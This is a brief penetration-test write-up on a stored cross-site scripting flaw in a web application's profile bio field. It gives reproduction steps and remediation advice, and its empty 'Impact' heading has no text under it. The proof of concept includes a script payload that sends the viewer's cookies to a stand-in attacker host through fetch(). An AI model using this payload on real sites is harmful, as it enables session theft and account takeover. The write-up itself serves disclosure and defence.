Penetration Testing Writeup: XSS in User Profile

Executive Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in [Target Application]’s user profile editing feature during a penetration test. This flaw allows attackers to inject scripts that execute for users viewing the profile, risking data theft and account compromise. This report provides details and remediation steps.

Vulnerability Details

Description

The user profile bio field does not sanitize inputs before saving them to the database. When the profile is viewed, the stored data is rendered without encoding, allowing script execution.

Impact

Proof of Concept

  1. Edit the profile bio with: <script>alert('Stored XSS');</script>.
  2. View the profile and observe the alert.
  3. Malicious payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.

Steps to Reproduce

  1. Navigate to https://[target-application]/profile/edit.
  2. Enter <script>alert('Stored XSS');</script> in the bio field.
  3. Save and view the profile to confirm the alert.

Remediation Recommendations

  1. Input Sanitization:
    • Use OWASP AntiSamy to filter bio inputs.
  2. Output Encoding:
    • Encode bio data before rendering.
  3. Content Security Policy:
    • Apply CSP: Content-Security-Policy: script-src 'self';.
  4. Secure Development:
    • Train developers on XSS prevention.
  5. Regular Testing:
    • Conduct security audits.

Conclusion

The Stored XSS vulnerability in [Target Application]’s profile feature is critical and requires immediate remediation.

References

Profile XSS Alert